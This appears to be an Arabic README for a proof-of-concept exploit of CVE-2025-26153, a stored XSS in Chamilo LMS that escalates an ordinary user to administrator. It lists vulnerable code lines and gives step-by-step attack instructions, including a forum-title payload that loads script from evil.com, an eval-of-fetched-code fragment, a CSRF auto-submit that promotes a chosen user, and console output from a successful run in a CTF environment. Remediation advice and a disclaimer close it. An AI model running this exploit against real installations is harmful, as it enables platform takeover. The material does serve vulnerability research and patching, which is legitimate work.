
Chamilo-LMS (v2.0) CVE-2025-26153
يحتوي هذا المستودع على برهان إثبات يوضح ثغرة النصوص البرمجية عبر المواقع المخزنة (Stored XSS) في Chamilo LMS يمكن استغلالها لتحقيق تصعيد الامتيازات من مستخدم عادي إلى مسؤول المنصة. هذه الثغرة مفهرسة ومصححة: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
مواضع الكود المعرّضة للثغرة:
/public/main/forum/forumqualify.php - السطر 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php - السطر 369
.$thread->getTitle().'</a>';
يوجد المزيد!
السبب الجذري:
الخطوة 1: جمع معلومات المستخدم المستهدف
Social Network -> Personal Datauser_info ولاحظ المعلومات التالية:
الخطوة 2: توليد حمولة مخصصة
python generate_payload.py
payload.js مخصصًاالخطوة 3: استضافة الحمولة خارجيًا
payload.js المُنشأ إلى خدمة استضافة عامة:
الخطوة 4: الوصول إلى المجموعات الاجتماعية
Social Network -> Social groupsالخطوة 5: الانضمام إلى مجموعة اجتماعية أو إنشاؤها
الخطوة 6: نشر حمولة XSS
eval(x.responseText);x.send()">
YOUR-HOST-SERVER بعنوان الاستضافة الفعلي الخاص بكالخطوة 7: تشغيل تصعيد الامتيازات
الخطوة 8: تأكيد تصعيد الامتيازات
يتيح سكربت generate_payload.py تخصيص هجوم تصعيد الامتيازات:
معاملات الإدخال:
1. Attacker creates malicious forum thread
└── Title: <script src=//evil.com/payload.js></script>
2. Admin user browses forum and views thread
└── Browser loads and executes external JavaScript
3. Payload creates hidden form with privilege escalation data
└── Targets specific User ID for promotion to admin
4. Form auto-submits via CSRF attack
└── Uses admin's session cookies automatically
5. Target user becomes platform administrator
└── Attacker gains full platform control
تعقيم الإدخال
// Before
$threadEntity->getTitle()
// After
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
ترميز المخرجات
<!-- Before -->
{{ thread.title }}
<!-- After -->
{{ thread.title|escape }}
سياسة أمان المحتوى
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
راقب ما يلي:
إشعار قانوني مهم
يُقدَّم برهان الإثبات هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
الاكتشاف والتحليل: US Cyber Combine
بيئة الاختبار: USCG CTF Environment
مخرجات وحدة التحكم من هجوم ناجح:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200